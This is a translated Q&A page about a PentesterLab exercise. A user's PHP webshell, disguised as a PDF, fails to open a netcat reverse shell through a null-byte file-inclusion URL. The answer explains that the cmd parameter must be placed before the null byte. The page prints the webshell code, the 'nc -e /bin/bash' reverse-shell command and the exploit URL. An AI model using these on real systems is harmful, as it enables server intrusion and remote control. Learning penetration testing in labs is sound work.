首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >未能连接到netcat反向外壳

未能连接到netcat反向外壳
EN

Security用户
提问于 2014-04-09 06:39:59
回答 1查看 3.2K关注 0票数 1

我正在做一个PentesterLab练习,我有一个名为1.pdf的webshell,它可以作为一个PHP包含在index.php中。它包含如下代码:

代码语言:javascript
复制
%PDF-1.4
<?php
echo system($_GET["cmd"]);
?>

现在,我想使用下面的命令使用nc创建一个反向shell,但它不能正常工作:

代码语言:javascript
复制
index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash

如果我在192.168.117.128输入命令,然后输入,则不会输出任何命令。

虽然,如果我在VM(目标服务器)中直接运行以下命令,它将正确地连接到攻击者:

代码语言:javascript
复制
/bin/nc 192.168.117.128 8001 -e /bin/bash

命令的输出在192.168.117.128处得到正确回放。

我想知道为什么netcat在VM中正常工作,而在webshell中却不工作?

感谢任何人的帮助,谢谢。

EN

回答 1

Security用户

发布于 2015-01-24 11:52:06

将cmd参数放在利用URL中的空字节注入之前。Null将导致查询字符串提前终止。

票数 2
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/55205

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档